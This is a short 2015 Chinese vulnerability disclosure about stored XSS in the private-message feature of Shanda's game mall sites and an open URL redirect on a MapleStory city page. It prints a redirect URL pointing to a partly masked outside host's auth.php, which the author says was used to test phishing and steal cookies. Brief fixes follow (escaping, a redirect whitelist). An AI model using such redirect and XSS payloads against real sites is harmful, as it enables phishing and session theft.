|
|
|
盛大四个游戏商城XSS指哪打哪+URL重定向
发布时间：2015-12-01 点击率：次 来源：www.sytcke.com 作者：电脑技术学习网
发送短信息处可插入XSS 发给谁都行 打开就中招
用冒险岛的做例子...
URL重定向就是我已经用来测试钓鱼了... 自己看地址吧
http://city.mxd.sdo.com/default.aspx?mainUrl=http%3a%2f%2fxssin**e%2fauth.php%3fid%3d2407
然后pia pia pia地 cookies就来了
URL重定向就是我已经用来测试钓鱼了... 自己看地址吧
http://city.mxd.sdo.com/default.aspx?mainUrl=http%3a%2f%2fxssin**e%2fauth.php%3fid%3d2407
修复方案：
XSS修复方法：转义
URL重定向：做白名单
来源 电脑技术网 www.sytcke.com
发表留言
|
|
发表留言请先登录！
|
免责声明：本站发布的信息和评论纯属网民个人行为，并不代表本站立场，如发现有违法信息或侵权行为，请直接与本站管理员联系，我们将在收到您的信息后24小时内作出处理！
Copyright © 十堰电脑维修 All Rights Reserved 鄂ICP备12000326号-1
电子邮箱：956066850@qq.com